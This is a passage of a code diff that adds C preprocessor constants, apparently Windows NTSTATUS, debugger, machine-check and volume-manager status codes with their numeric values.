MCA_WARNING_PCI_BUS_PARITY -2147155888 +#define MCA_WARNING_PCI_BUS_PARITY_NO_INFO -2147155886 +#define MCA_WARNING_PCI_BUS_SERR -2147155884 +#define MCA_WARNING_PCI_BUS_SERR_NO_INFO -2147155882 +#define MCA_WARNING_PCI_BUS_MASTER_ABORT -2147155880 +#define MCA_WARNING_PCI_BUS_MASTER_ABORT_NO_INFO -2147155878 +#define MCA_WARNING_PCI_BUS_TIMEOUT -2147155876 +#define MCA_WARNING_PCI_BUS_TIMEOUT_NO_INFO -2147155874 +#define MCA_WARNING_PCI_BUS_UNKNOWN -2147155872 +#define MCA_WARNING_PCI_DEVICE -2147155870 +#define MCA_WARNING_SMBIOS -2147155868 +#define MCA_WARNING_PLATFORM_SPECIFIC -2147155866 +#define MCA_WARNING_UNKNOWN -2147155864 +#define MCA_WARNING_UNKNOWN_NO_CPU -2147155862 +#define MCA_WARNING_CMC_THRESHOLD_EXCEEDED -2147155859 +#define MCA_WARNING_CPE_THRESHOLD_EXCEEDED -2147155858 +#define MCA_WARNING_CPU_THERMAL_THROTTLED -2147155857 +#define MCA_WARNING_CPU -2147155855 +#define MCA_ERROR_CACHE -1073414083 +#define MCA_ERROR_TLB -1073414081 +#define MCA_ERROR_CPU_BUS -1073414079 +#define MCA_ERROR_REGISTER_FILE -1073414077 +#define MCA_ERROR_MAS -1073414075 +#define MCA_ERROR_MEM_UNKNOWN -1073414073 +#define MCA_ERROR_MEM_1_2 -1073414071 +#define MCA_ERROR_MEM_1_2_5 -1073414069 +#define MCA_ERROR_MEM_1_2_5_4 -1073414067 +#define MCA_ERROR_SYSTEM_EVENT -1073414065 +#define MCA_ERROR_PCI_BUS_PARITY -1073414063 +#define MCA_ERROR_PCI_BUS_PARITY_NO_INFO -1073414061 +#define MCA_ERROR_PCI_BUS_SERR -1073414059 +#define MCA_ERROR_PCI_BUS_SERR_NO_INFO -1073414057 +#define MCA_ERROR_PCI_BUS_MASTER_ABORT -1073414055 +#define MCA_ERROR_PCI_BUS_MASTER_ABORT_NO_INFO -1073414053 +#define MCA_ERROR_PCI_BUS_TIMEOUT -1073414051 +#define MCA_ERROR_PCI_BUS_TIMEOUT_NO_INFO -1073414049 +#define MCA_ERROR_PCI_BUS_UNKNOWN -1073414047 +#define MCA_ERROR_PCI_DEVICE -1073414045 +#define MCA_ERROR_SMBIOS -1073414043 +#define MCA_ERROR_PLATFORM_SPECIFIC -1073414041 +#define MCA_ERROR_UNKNOWN -1073414039 +#define MCA_ERROR_UNKNOWN_NO_CPU -1073414037 +#define MCA_ERROR_CPU -1073414030 +#define MCA_MEMORYHIERARCHY_ERROR -1073414024 +#define MCA_TLB_ERROR -1073414023 +#define MCA_BUS_ERROR -1073414022 +#define MCA_BUS_TIMEOUT_ERROR -1073414021 +#define MCA_INTERNALTIMER_ERROR -1073414020 +#define MCA_MICROCODE_ROM_PARITY_ERROR -1073414018 +#define MCA_EXTERNAL_ERROR -1073414017 +#define MCA_FRC_ERROR -1073414016 +#define VOLMGR_KSR_ERROR -2143813631 +#define VOLMGR_KSR_READ_ERROR -2143813630 +#define VOLMGR_KSR_BYPASS -2143813629 +#define STATUS_WAIT_0 0 +#define FACILTIY_MUI_ERROR_CODE 0xb +#define STATUS_SUCCESS 0 +#define STATUS_WAIT_1 1 +#define STATUS_WAIT_2 2 +#define STATUS_WAIT_3 3 +#define STATUS_WAIT_63 63 +#define STATUS_ABANDONED 128 +#define STATUS_ABANDONED_WAIT_0 128 +#define STATUS_ABANDONED_WAIT_63 191 +#define STATUS_USER_APC 192 +#define STATUS_ALREADY_COMPLETE 255 +#define STATUS_KERNEL_APC 256 +#define STATUS_ALERTED 257 +#define STATUS_TIMEOUT 258 +#define STATUS_PENDING 259 +#define STATUS_REPARSE 260 +#define STATUS_MORE_ENTRIES 261 +#define STATUS_NOT_ALL_ASSIGNED 262 +#define STATUS_SOME_NOT_MAPPED 263 +#define STATUS_OPLOCK_BREAK_IN_PROGRESS 264 +#define STATUS_VOLUME_MOUNTED 265 +#define STATUS_RXACT_COMMITTED 266 +#define STATUS_NOTIFY_CLEANUP 267 +#define STATUS_NOTIFY_ENUM_DIR 268 +#define STATUS_NO_QUOTAS_FOR_ACCOUNT 269 +#define STATUS_PRIMARY_TRANSPORT_CONNECT_FAILED 270 +#define STATUS_PAGE_FAULT_TRANSITION 272 +#define STATUS_PAGE_FAULT_DEMAND_ZERO 273 +#define STATUS_PAGE_FAULT_COPY_ON_WRITE 274 +#define STATUS_PAGE_FAULT_GUARD_PAGE 275 +#define STATUS_PAGE_FAULT_PAGING_FILE 276 +#define STATUS_CACHE_PAGE_LOCKED 277 +#define STATUS_CRASH_DUMP 278 +#define STATUS_BUFFER_ALL_ZEROS 279 +#define STATUS_REPARSE_OBJECT 280 +#define STATUS_RESOURCE_REQUIREMENTS_CHANGED 281 +#define STATUS_TRANSLATION_COMPLETE 288 +#define STATUS_DS_MEMBERSHIP_EVALUATED_LOCALLY 289 +#define STATUS_NOTHING_TO_TERMINATE 290 +#define STATUS_PROCESS_NOT_IN_JOB 291 +#define STATUS_PROCESS_IN_JOB 292 +#define STATUS_VOLSNAP_HIBERNATE_READY 293 +#define STATUS_FSFILTER_OP_COMPLETED_SUCCESSFULLY 294 +#define STATUS_INTERRUPT_VECTOR_ALREADY_CONNECTED 295 +#define STATUS_INTERRUPT_STILL_CONNECTED 296 +#define STATUS_PROCESS_CLONED 297 +#define STATUS_FILE_LOCKED_WITH_ONLY_READERS 298 +#define STATUS_FILE_LOCKED_WITH_WRITERS 299 +#define STATUS_VALID_IMAGE_HASH 300 +#define STATUS_VALID_CATALOG_HASH 301 +#define STATUS_VALID_STRONG_CODE_HASH 302 +#define STATUS_GHOSTED 303 +#define STATUS_DATA_OVERWRITTEN 304 +#define STATUS_RESOURCEMANAGER_READ_ONLY 514 +#define STATUS_RING_PREVIOUSLY_EMPTY 528 +#define STATUS_RING_PREVIOUSLY_FULL 529 +#define STATUS_RING_PREVIOUSLY_ABOVE_QUOTA 530 +#define STATUS_RING_NEWLY_EMPTY 531 +#define STATUS_RING_SIGNAL_OPPOSITE_ENDPOINT 532 +#define STATUS_OPLOCK_SWITCHED_TO_NEW_HANDLE 533 +#define STATUS_OPLOCK_HANDLE_CLOSED 534 +#define STATUS_WAIT_FOR_OPLOCK 871 +#define STATUS_REPARSE_GLOBAL 872 +#define STATUS_PAGE_FAULT_RETRY 873 +#define DBG_EXCEPTION_HANDLED 65537 +#define DBG_CONTINUE 65538 +#define STATUS_FLT_IO_COMPLETE 1835009 +#define STATUS_OBJECT_NAME_EXISTS 1073741824 +#define STATUS_THREAD_WAS_SUSPENDED 1073741825 +#define STATUS_WORKING_SET_LIMIT_RANGE 1073741826 +#define STATUS_IMAGE_NOT_AT_BASE 1073741827 +#define STATUS_RXACT_STATE_CREATED 1073741828 +#define STATUS_SEGMENT_NOTIFICATION 1073741829 +#define STATUS_LOCAL_USER_SESSION_KEY 1073741830 +#define STATUS_BAD_CURRENT_DIRECTORY 1073741831 +#define STATUS_SERIAL_MORE_WRITES 1073741832 +#define STATUS_REGISTRY_RECOVERED 1073741833 +#define STATUS_FT_READ_RECOVERY_FROM_BACKUP 1073741834 +#define STATUS_FT_WRITE_RECOVERY 1073741835 +#define STATUS_SERIAL_COUNTER_TIMEOUT 1073741836 +#define STATUS_NULL_LM_PASSWORD 1073741837 +#define STATUS_IMAGE_MACHINE_TYPE_MISMATCH 1073741838 +#define STATUS_RECEIVE_PARTIAL 1073741839 +#define STATUS_RECEIVE_EXPEDITED 1073741840 +#define STATUS_RECEIVE_PARTIAL_EXPEDITED 1073741841 +#define STATUS_EVENT_DONE 1073741842 +#define STATUS_EVENT_PENDING 1073741843 +#define STATUS_CHECKING_FILE_SYSTEM 1073741844 +#define STATUS_FATAL_APP_EXIT 1073741845 +#define STATUS_PREDEFINED_HANDLE 1073741846 +#define STATUS_WAS_UNLOCKED 1073741847 +#define STATUS_SERVICE_NOTIFICATION 1073741848 +#define STATUS_WAS_LOCKED 1073741849 +#define STATUS_LOG_HARD_ERROR 1073741850 +#define STATUS_ALREADY_WIN32 1073741851 +#define STATUS_WX86_UNSIMULATE 1073741852 +#define STATUS_WX86_CONTINUE 1073741853 +#define STATUS_WX86_SINGLE_STEP 1073741854 +#define STATUS_WX86_BREAKPOINT 1073741855 +#define STATUS_WX86_EXCEPTION_CONTINUE 1073741856 +#define STATUS_WX86_EXCEPTION_LASTCHANCE 1073741857 +#define STATUS_WX86_EXCEPTION_CHAIN 1073741858 +#define STATUS_IMAGE_MACHINE_TYPE_MISMATCH_EXE 1073741859 +#define STATUS_NO_YIELD_PERFORMED 1073741860 +#define STATUS_TIMER_RESUME_IGNORED 1073741861 +#define STATUS_ARBITRATION_UNHANDLED 1073741862 +#define STATUS_CARDBUS_NOT_SUPPORTED 1073741863 +#define STATUS_WX86_CREATEWX86TIB 1073741864 +#define STATUS_MP_PROCESSOR_MISMATCH 1073741865 +#define STATUS_HIBERNATED 1073741866 +#define STATUS_RESUME_HIBERNATION 1073741867 +#define STATUS_FIRMWARE_UPDATED 1073741868 +#define STATUS_DRIVERS_LEAKING_LOCKED_PAGES 1073741869 +#define STATUS_MESSAGE_RETRIEVED 1073741870 +#define STATUS_SYSTEM_POWERSTATE_TRANSITION 1073741871 +#define STATUS_ALPC_CHECK_COMPLETION_LIST 1073741872 +#define STATUS_SYSTEM_POWERSTATE_COMPLEX_TRANSITION 1073741873 +#define STATUS_ACCESS_AUDIT_BY_POLICY 1073741874 +#define STATUS_ABANDON_HIBERFILE 1073741875 +#define STATUS_BIZRULES_NOT_ENABLED 1073741876 +#define STATUS_FT_READ_FROM_COPY 1073741877 +#define STATUS_IMAGE_AT_DIFFERENT_BASE 1073741878 +#define STATUS_PATCH_DEFERRED 1073741879 +#define STATUS_EMULATION_BREAKPOINT 1073741880 +#define STATUS_EMULATION_SYSCALL 1073741881 +#define STATUS_EMULATION_FLOAT_EXCEPTION 1073741882 +#define DBG_REPLY_LATER 1073807361 +#define DBG_UNABLE_TO_PROVIDE_HANDLE 1073807362 +#define DBG_TERMINATE_THREAD 1073807363 +#define DBG_TERMINATE_PROCESS 1073807364 +#define DBG_CONTROL_C 1073807365 +#define DBG_PRINTEXCEPTION_C 1073807366 +#define DBG_RIPEXCEPTION 1073807367 +#define DBG_CONTROL_BREAK 1073807368 +#define DBG_COMMAND_EXCEPTION 1073807369 +#define DBG_PRINTEXCEPTION_WIDE_C 1073807370 +#define STATUS_HEURISTIC_DAMAGE_POSSIBLE 1075380225 +#define STATUS_GUARD_PAGE_VIOLATION -2147483647 +#define STATUS_DATATYPE_MISALIGNMENT -2147483646 +#define STATUS_BREAKPOINT -2147483645 +#define STATUS_SINGLE_STEP -2147483644 +#define STATUS_BUFFER_OVERFLOW -2147483643 +#define STATUS_NO_MORE_FILES -2147483642 +#define STATUS_WAKE_SYSTEM_DEBUGGER -2147483641 +#define STATUS_HANDLES_CLOSED -2147483638 +#define STATUS_NO_INHERITANCE -2147483637 +#define STATUS_GUID_SUBSTITUTION_MADE -2147483636 +#define STATUS_PARTIAL_COPY -2147483635 +#define STATUS_DEVICE_PAPER_EMPTY -2147483634 +#define STATUS_DEVICE_POWERED_OFF -2147483633 +#define STATUS_DEVICE_OFF_LINE -2147483632 +#define STATUS_DEVICE_BUSY -2147483631 +#define STATUS_NO_MORE_EAS -2147483630 +#define STATUS_INVALID_EA_NAME -2147483629 +#define STATUS_EA_LIST_INCONSISTENT -2147483628 +#define STATUS_INVALID_EA_FLAG -2147483627 +#define STATUS_VERIFY_REQUIRED -2147483626 +#define STATUS_EXTRANEOUS_INFORMATION -2147483625 +#define STATUS_RXACT_COMMIT_NECESSARY -2147483624 +#define STATUS_NO_MORE_ENTRIES -2147483622 +#define STATUS_FILEMARK_DETECTED -2147483621 +#define STATUS_MEDIA_CHANGED -2147483620 +#define STATUS_BUS_RESET -2147483619 +#define STATUS_END_OF_MEDIA -2147483618 +#define STATUS_BEGINNING_OF_MEDIA -2147483617 +#define STATUS_MEDIA_CHECK -2147483616 +#define STATUS_SETMARK_DETECTED -2147483615 +#define STATUS_NO_DATA_DETECTED -2147483614 +#define STATUS_REDIRECTOR_HAS_OPEN_HANDLES -2147483613 +#define STATUS_SERVER_HAS_OPEN_HANDLES -2147483612 +#define STATUS_ALREADY_DISCONNECTED -2147483611 +#define STATUS_LONGJUMP -2147483610 +#define STATUS_CLEANER_CARTRIDGE_INSTALLED -2147483609 +#define STATUS_PLUGPLAY_QUERY_VETOED -2147483608 +#define STATUS_UNWIND_CONSOLIDATE -2147483607 +#define STATUS_REGISTRY_HIVE_RECOVERED -2147483606 +#define STATUS_DLL_MIGHT_BE_INSECURE -2147483605 +#define STATUS_DLL_MIGHT_BE_INCOMPATIBLE -2147483604 +#define STATUS_STOPPED_ON_SYMLINK -2147483603 +#define STATUS_CANNOT_GRANT_REQUESTED_OPLOCK -2147483602 +#define STATUS_NO_ACE_CONDITION -2147483601 +#define STATUS_DEVICE_SUPPORT_IN_PROGRESS -2147483600 +#define STATUS_DEVICE_POWER_CYCLE_REQUIRED -2147483599 +#define STATUS_NO_WORK_DONE -2147483598 +#define STATUS_RETURN_ADDRESS_HIJACK_ATTEMPT -2147483597 +#define STATUS_RECOVERABLE_BUGCHECK -2147483596 +#define STATUS_PTE_CHANGE_NOT_COMPLETED -2147483595 +#define DBG_EXCEPTION_NOT_HANDLED -2147418111 +#define STATUS_CLUSTER_NODE_ALREADY_UP -2146238463 +#define STATUS_CLUSTER_NODE_ALREADY_DOWN -2146238462 +#define STATUS_CLUSTER_NETWORK_ALREADY_ONLINE -2146238461 +#define STATUS_CLUSTER_NETWORK_ALREADY_OFFLINE -2146238460 +#define STATUS_CLUSTER_NODE_ALREADY_MEMBER -2146238459 +#define STATUS_FLT_BUFFER_TOO_SMALL -2145648639 +#define STATUS_GRAPHICS_LINK_CONFIGURATION_IN_PROGRESS -2145517568 +#define STATUS_FVE_PARTIAL_METADATA -2145320959 +#define STATUS_FVE_TRANSIENT_STATE -2145320958 +#define STATUS_CLOUD_FILE_PROPERTY_BLOB_CHECKSUM_MISMATCH -2147430656 +#define STATUS_UNSUCCESSFUL -1073741823 +#define STATUS_NOT_IMPLEMENTED -1073741822 +#define STATUS_INVALID_INFO_CLASS -1073741821 +#define STATUS_INFO_LENGTH_MISMATCH -1073741820 +#define STATUS_ACCESS_VIOLATION -1073741819 +#define STATUS_IN_PAGE_ERROR -1073741818 +#define STATUS_PAGEFILE_QUOTA -1073741817 +#define STATUS_INVALID_HANDLE -1073741816 +#define STATUS_BAD_INITIAL_STACK -1073741815 +#define STATUS_BAD_INITIAL_PC -1073741814 +#define STATUS_INVALID_CID -1073741813 +#define STATUS_TIMER_NOT_CANCELED -1073741812 +#define STATUS_INVALID_PARAMETER -1073741811 +#define STATUS_NO_SUCH_DEVICE -1073741810 +#define STATUS_NO_SUCH_FILE -1073741809 +#define STATUS_INVALID_DEVICE_REQUEST -1073741808 +#define STATUS_END_OF_FILE -1073741807 +#define STATUS_WRONG_VOLUME -1073741806 +#define STATUS_NO_MEDIA_IN_DEVICE -1073741805 +#define STATUS_UNRECOGNIZED_MEDIA -1073741804 +#define STATUS_NONEXISTENT_SECTOR -1073741803 +#define STATUS_MORE_PROCESSING_REQUIRED -1073741802 +#define STATUS_NO_MEMORY -1073741801 +#define STATUS_CONFLICTING_ADDRESSES -1073741800 +#define STATUS_NOT_MAPPED_VIEW -1073741799 +#define STATUS_UNABLE_TO_FREE_VM -1073741798 +#define STATUS_UNABLE_TO_DELETE_SECTION -1073741797 +#define STATUS_INVALID_SYSTEM_SERVICE -1073741796 +#define STATUS_ILLEGAL_INSTRUCTION -1073741795 +#define STATUS_INVALID_LOCK_SEQUENCE -1073741794 +#define STATUS_INVALID_VIEW_SIZE -1073741793 +#define STATUS_INVALID_FILE_FOR_SECTION -1073741792 +#define STATUS_ALREADY_COMMITTED -1073741791 +#define STATUS_BUFFER_TOO_SMALL -1073741789 +#define STATUS_OBJECT_TYPE_MISMATCH -1073741788 +#define STATUS_NONCONTINUABLE_EXCEPTION -1073741787 +#define STATUS_INVALID_DISPOSITION -1073741786 +#define STATUS_UNWIND -1073741785 +#define STATUS_BAD_STACK -1073741784 +#define STATUS_INVALID_UNWIND_TARGET -1073741783 +#define STATUS_NOT_LOCKED -1073741782 +#define STATUS_PARITY_ERROR -1073741781 +#define STATUS_UNABLE_TO_DECOMMIT_VM -1073741780 +#define STATUS_NOT_COMMITTED -1073741779 +#define STATUS_INVALID_PORT_ATTRIBUTES -1073741778 +#define STATUS_PORT_MESSAGE_TOO_LONG -1073741777 +#define STATUS_INVALID_PARAMETER_MIX -1073741776 +#define STATUS_INVALID_QUOTA_LOWER -1073741775 +#define STATUS_DISK_CORRUPT_ERROR -1073741774 +#define STATUS_OBJECT_NAME_INVALID -1073741773 +#define STATUS_OBJECT_NAME_NOT_FOUND -1073741772 +#define STATUS_OBJECT_NAME_COLLISION -1073741771 +#define STATUS_PORT_DO_NOT_DISTURB -1073741770 +#define STATUS_PORT_DISCONNECTED -1073741769 +#define STATUS_DEVICE_ALREADY_ATTACHED -1073741768 +#define STATUS_OBJECT_PATH_INVALID -1073741767 +#define STATUS_OBJECT_PATH_NOT_FOUND -1073741766 +#define STATUS_OBJECT_PATH_SYNTAX_BAD -1073741765 +#define STATUS_DATA_OVERRUN -1073741764 +#define STATUS_DATA_LATE_ERROR -1073741763 +#define STATUS_DATA_ERROR -1073741762 +#define STATUS_CRC_ERROR -1073741761 +#define STATUS_SECTION_TOO_BIG -1073741760 +#define STATUS_PORT_CONNECTION_REFUSED -1073741759 +#define STATUS_INVALID_PORT_HANDLE -1073741758 +#define STATUS_SHARING_VIOLATION -1073741757 +#define STATUS_QUOTA_EXCEEDED -1073741756 +#define STATUS_INVALID_PAGE_PROTECTION -1073741755 +#define STATUS_MUTANT_NOT_OWNED -1073741754 +#define STATUS_SEMAPHORE_LIMIT_EXCEEDED -1073741753 +#define STATUS_PORT_ALREADY_SET -1073741752 +#define STATUS_SECTION_NOT_IMAGE -1073741751 +#define STATUS_SUSPEND_COUNT_EXCEEDED -1073741750 +#define STATUS_THREAD_IS_TERMINATING -1073741749 +#define STATUS_BAD_WORKING_SET_LIMIT -1073741748 +#define STATUS_INCOMPATIBLE_FILE_MAP -1073741747 +#define STATUS_SECTION_PROTECTION -1073741746 +#define STATUS_EAS_NOT_SUPPORTED -1073741745 +#define STATUS_EA_TOO_LARGE -1073741744 +#define STATUS_NONEXISTENT_EA_ENTRY -1073741743 +#define STATUS_NO_EAS_ON_FILE -1073741742 +#define STATUS_EA_CORRUPT_ERROR -1073741741 +#define STATUS_FILE_LOCK_CONFLICT -1073741740 +#define STATUS_LOCK_NOT_GRANTED -1073741739 +#define STATUS_DELETE_PENDING -1073741738 +#define STATUS_CTL_FILE_NOT_SUPPORTED -1073741737 +#define STATUS_UNKNOWN_REVISION -1073741736 +#define STATUS_REVISION_MISMATCH -1073741735 +#define STATUS_INVALID_OWNER -1073741734 +#define STATUS_INVALID_PRIMARY_GROUP -1073741733 +#define STATUS_NO_IMPERSONATION_TOKEN -1073741732 +#define STATUS_CANT_DISABLE_MANDATORY -1073741731 +#define STATUS_NO_LOGON_SERVERS -1073741730 +#define STATUS_NO_SUCH_PRIVILEGE -1073741728 +#define STATUS_PRIVILEGE_NOT_HELD -1073741727 +#define STATUS_INVALID_ACCOUNT_NAME -1073741726 +#define STATUS_USER_EXISTS -1073741725 +#define STATUS_GROUP_EXISTS -1073741723 +#define STATUS_NO_SUCH_GROUP -1073741722 +#define STATUS_MEMBER_IN_GROUP -1073741721 +#define STATUS_MEMBER_NOT_IN_GROUP -1073741720 +#define STATUS_LAST_ADMIN -1073741719 +#define STATUS_ILL_FORMED_PASSWORD -1073741717 +#define STATUS_PASSWORD_RESTRICTION -1073741716 +#define STATUS_INVALID_LOGON_HOURS -1073741713 +#define STATUS_INVALID_WORKSTATION -1073741712 +#define STATUS_NONE_MAPPED -1073741709 +#define STATUS_TOO_MANY_LUIDS_REQUESTED -1073741708 +#define STATUS_LUIDS_EXHAUSTED -1073741707 +#define STATUS_INVALID_SUB_AUTHORITY -1073741706 +#define STATUS_INVALID_ACL -1073741705 +#define STATUS_INVALID_SID -1073741704 +#define STATUS_INVALID_SECURITY_DESCR -1073741703 +#define STATUS_PROCEDURE_NOT_FOUND -1073741702 +#define STATUS_INVALID_IMAGE_FORMAT -1073741701 +#define STATUS_NO_TOKEN -1073741700 +#define STATUS_BAD_INHERITANCE_ACL -1073741699 +#define STATUS_RANGE_NOT_LOCKED -1073741698 +#define STATUS_DISK_FULL -1073741697 +#define STATUS_SERVER_DISABLED -1073741696 +#define STATUS_SERVER_NOT_DISABLED -1073741695 +#define STATUS_TOO_MANY_GUIDS_REQUESTED -1073741694 +#define STATUS_GUIDS_EXHAUSTED -1073741693 +#define STATUS_INVALID_ID_AUTHORITY -1073741692 +#define STATUS_AGENTS_EXHAUSTED -1073741691 +#define STATUS_INVALID_VOLUME_LABEL -1073741690 +#define STATUS_SECTION_NOT_EXTENDED -1073741689 +#define STATUS_NOT_MAPPED_DATA -1073741688 +#define STATUS_RESOURCE_DATA_NOT_FOUND -1073741687 +#define STATUS_RESOURCE_TYPE_NOT_FOUND -1073741686 +#define STATUS_RESOURCE_NAME_NOT_FOUND -1073741685 +#define STATUS_ARRAY_BOUNDS_EXCEEDED -1073741684 +#define STATUS_FLOAT_DENORMAL_OPERAND -1073741683 +#define STATUS_FLOAT_DIVIDE_BY_ZERO -1073741682 +#define STATUS_FLOAT_INEXACT_RESULT -1073741681 +#define STATUS_FLOAT_INVALID_OPERATION -1073741680 +#define STATUS_FLOAT_OVERFLOW -1073741679 +#define STATUS_FLOAT_STACK_CHECK -1073741678 +#define STATUS_FLOAT_UNDERFLOW -1073741677 +#define STATUS_INTEGER_DIVIDE_BY_ZERO -1073741676 +#define STATUS_INTEGER_OVERFLOW -1073741675 +#define STATUS_PRIVILEGED_INSTRUCTION -1073741674 +#define STATUS_TOO_MANY_PAGING_FILES -1073741673 +#define STATUS_FILE_INVALID -1073741672 +#define STATUS_ALLOTTED_SPACE_EXCEEDED -1073741671 +#define STATUS_INSUFFICIENT_RESOURCES -1073741670 +#define STATUS_DFS_EXIT_PATH_FOUND -1073741669 +#define STATUS_DEVICE_DATA_ERROR -1073741668 +#define STATUS_DEVICE_NOT_CONNECTED -1073741667 +#define STATUS_DEVICE_POWER_FAILURE -1073741666 +#define STATUS_FREE_VM_NOT_AT_BASE -1073741665 +#define STATUS_MEMORY_NOT_ALLOCATED -1073741664 +#define STATUS_WORKING_SET_QUOTA -1073741663 +#define STATUS_MEDIA_WRITE_PROTECTED -1073741662 +#define STATUS_DEVICE_NOT_READY -1073741661 +#define STATUS_INVALID_GROUP_ATTRIBUTES -1073741660 +#define STATUS_BAD_IMPERSONATION_LEVEL -1073741659 +#define STATUS_CANT_OPEN_ANONYMOUS -1073741658 +#define STATUS_BAD_VALIDATION_CLASS -1073741657 +#define STATUS_BAD_TOKEN_TYPE -1073741656 +#define STATUS_BAD_MASTER_BOOT_RECORD -1073741655 +#define STATUS_INSTRUCTION_MISALIGNMENT -1073741654 +#define STATUS_INSTANCE_NOT_AVAILABLE -1073741653 +#define STATUS_PIPE_NOT_AVAILABLE -1073741652 +#define STATUS_INVALID_PIPE_STATE -1073741651 +#define STATUS_PIPE_BUSY -1073741650 +#define STATUS_ILLEGAL_FUNCTION -1073741649 +#define STATUS_PIPE_DISCONNECTED -1073741648 +#define STATUS_PIPE_CLOSING -1073741647 +#define STATUS_PIPE_CONNECTED -1073741646 +#define STATUS_PIPE_LISTENING -1073741645 +#define STATUS_INVALID_READ_MODE -1073741644 +#define STATUS_IO_TIMEOUT -1073741643 +#define STATUS_FILE_FORCED_CLOSED -1073741642 +#define STATUS_PROFILING_NOT_STARTED -1073741641 +#define STATUS_PROFILING_NOT_STOPPED -1073741640 +#define STATUS_COULD_NOT_INTERPRET -1073741639 +#define STATUS_FILE_IS_A_DIRECTORY -1073741638 +#define STATUS_NOT_SUPPORTED -1073741637 +#define STATUS_REMOTE_NOT_LISTENING -1073741636 +#define STATUS_DUPLICATE_NAME -1073741635 +#define STATUS_BAD_NETWORK_PATH -1073741634 +#define STATUS_NETWORK_BUSY -1073741633 +#define STATUS_DEVICE_DOES_NOT_EXIST -1073741632 +#define STATUS_TOO_MANY_COMMANDS -1073741631 +#define STATUS_ADAPTER_HARDWARE_ERROR -1073741630 +#define STATUS_INVALID_NETWORK_RESPONSE -1073741629 +#define STATUS_UNEXPECTED_NETWORK_ERROR -1073741628 +#define STATUS_BAD_REMOTE_ADAPTER -1073741627 +#define STATUS_PRINT_QUEUE_FULL -1073741626 +#define STATUS_NO_SPOOL_SPACE -1073741625 +#define STATUS_PRINT_CANCELLED -1073741624 +#define STATUS_NETWORK_NAME_DELETED -1073741623 +#define STATUS_NETWORK_ACCESS_DENIED -1073741622 +#define STATUS_BAD_DEVICE_TYPE -1073741621 +#define STATUS_BAD_NETWORK_NAME -1073741620 +#define STATUS_TOO_MANY_NAMES -1073741619 +#define STATUS_TOO_MANY_SESSIONS -1073741618 +#define STATUS_SHARING_PAUSED -1073741617 +#define STATUS_REQUEST_NOT_ACCEPTED -1073741616 +#define STATUS_REDIRECTOR_PAUSED -1073741615 +#define STATUS_NET_WRITE_FAULT -1073741614 +#define STATUS_PROFILING_AT_LIMIT -1073741613 +#define STATUS_NOT_SAME_DEVICE -1073741612 +#define STATUS_FILE_RENAMED -1073741611 +#define STATUS_VIRTUAL_CIRCUIT_CLOSED -1073741610 +#define STATUS_NO_SECURITY_ON_OBJECT -1073741609 +#define STATUS_CANT_WAIT -1073741608 +#define STATUS_PIPE_EMPTY -1073741607 +#define STATUS_CANT_ACCESS_DOMAIN_INFO -1073741606 +#define STATUS_CANT_TERMINATE_SELF -1073741605 +#define STATUS_INVALID_SERVER_STATE -1073741604 +#define STATUS_INVALID_DOMAIN_STATE -1073741603 +#define STATUS_INVALID_DOMAIN_ROLE -1073741602 +#define STATUS_NO_SUCH_DOMAIN -1073741601 +#define STATUS_DOMAIN_EXISTS -1073741600 +#define STATUS_DOMAIN_LIMIT_EXCEEDED -1073741599 +#define STATUS_OPLOCK_NOT_GRANTED -1073741598 +#define STATUS_INVALID_OPLOCK_PROTOCOL -1073741597 +#define STATUS_INTERNAL_DB_CORRUPTION -1073741596 +#define STATUS_INTERNAL_ERROR -1073741595 +#define STATUS_GENERIC_NOT_MAPPED -1073741594 +#define STATUS_BAD_DESCRIPTOR_FORMAT -1073741593 +#define STATUS_INVALID_USER_BUFFER -1073741592 +#define STATUS_UNEXPECTED_IO_ERROR -1073741591 +#define STATUS_UNEXPECTED_MM_CREATE_ERR -1073741590 +#define STATUS_UNEXPECTED_MM_MAP_ERROR -1073741589 +#define STATUS_UNEXPECTED_MM_EXTEND_ERR -1073741588 +#define STATUS_NOT_LOGON_PROCESS -1073741587 +#define STATUS_LOGON_SESSION_EXISTS -1073741586 +#define STATUS_INVALID_PARAMETER_1 -1073741585 +#define STATUS_INVALID_PARAMETER_2 -1073741584 +#define STATUS_INVALID_PARAMETER_3 -1073741583 +#define STATUS_INVALID_PARAMETER_4 -1073741582 +#define STATUS_INVALID_PARAMETER_5 -1073741581 +#define STATUS_INVALID_PARAMETER_6 -1073741580 +#define STATUS_INVALID_PARAMETER_7 -1073741579 +#define STATUS_INVALID_PARAMETER_8 -1073741578 +#define STATUS_INVALID_PARAMETER_9 -1073741577 +#define STATUS_INVALID_PARAMETER_10 -1073741576 +#define STATUS_INVALID_PARAMETER_11 -1073741575 +#define STATUS_INVALID_PARAMETER_12 -1073741574 +#define STATUS_REDIRECTOR_NOT_STARTED -1073741573 +#define STATUS_REDIRECTOR_STARTED -1073741572 +#define STATUS_STACK_OVERFLOW -1073741571 +#define STATUS_NO_SUCH_PACKAGE -1073741570 +#define STATUS_BAD_FUNCTION_TABLE -1073741569 +#define STATUS_VARIABLE_NOT_FOUND -1073741568 +#define STATUS_DIRECTORY_NOT_EMPTY -1073741567 +#define STATUS_FILE_CORRUPT_ERROR -1073741566 +#define STATUS_NOT_A_DIRECTORY -1073741565 +#define STATUS_BAD_LOGON_SESSION_STATE -1073741564 +#define STATUS_LOGON_SESSION_COLLISION -1073741563 +#define STATUS_NAME_TOO_LONG -1073741562 +#define STATUS_FILES_OPEN -1073741561 +#define STATUS_CONNECTION_IN_USE -1073741560 +#define STATUS_MESSAGE_NOT_FOUND -1073741559 +#define STATUS_PROCESS_IS_TERMINATING -1073741558 +#define STATUS_INVALID_LOGON_TYPE -1073741557 +#define STATUS_NO_GUID_TRANSLATION -1073741556 +#define STATUS_CANNOT_IMPERSONATE -1073741555 +#define STATUS_IMAGE_ALREADY_LOADED -1073741554 +#define STATUS_ABIOS_NOT_PRESENT -1073741553 +#define STATUS_ABIOS_LID_NOT_EXIST -1073741552 +#define STATUS_ABIOS_LID_ALREADY_OWNED -1073741551 +#define STATUS_ABIOS_NOT_LID_OWNER -1073741550 +#define STATUS_ABIOS_INVALID_COMMAND -1073741549 +#define STATUS_ABIOS_INVALID_LID -1073741548 +#define STATUS_ABIOS_SELECTOR_NOT_AVAILABLE -1073741547 +#define STATUS_ABIOS_INVALID_SELECTOR -1073741546 +#define STATUS_NO_LDT -1073741545 +#define STATUS_INVALID_LDT_SIZE -1073741544 +#define STATUS_INVALID_LDT_OFFSET -1073741543 +#define STATUS_INVALID_LDT_DESCRIPTOR -1073741542 +#define STATUS_INVALID_IMAGE_NE_FORMAT -1073741541 +#define STATUS_RXACT_INVALID_STATE -1073741540 +#define 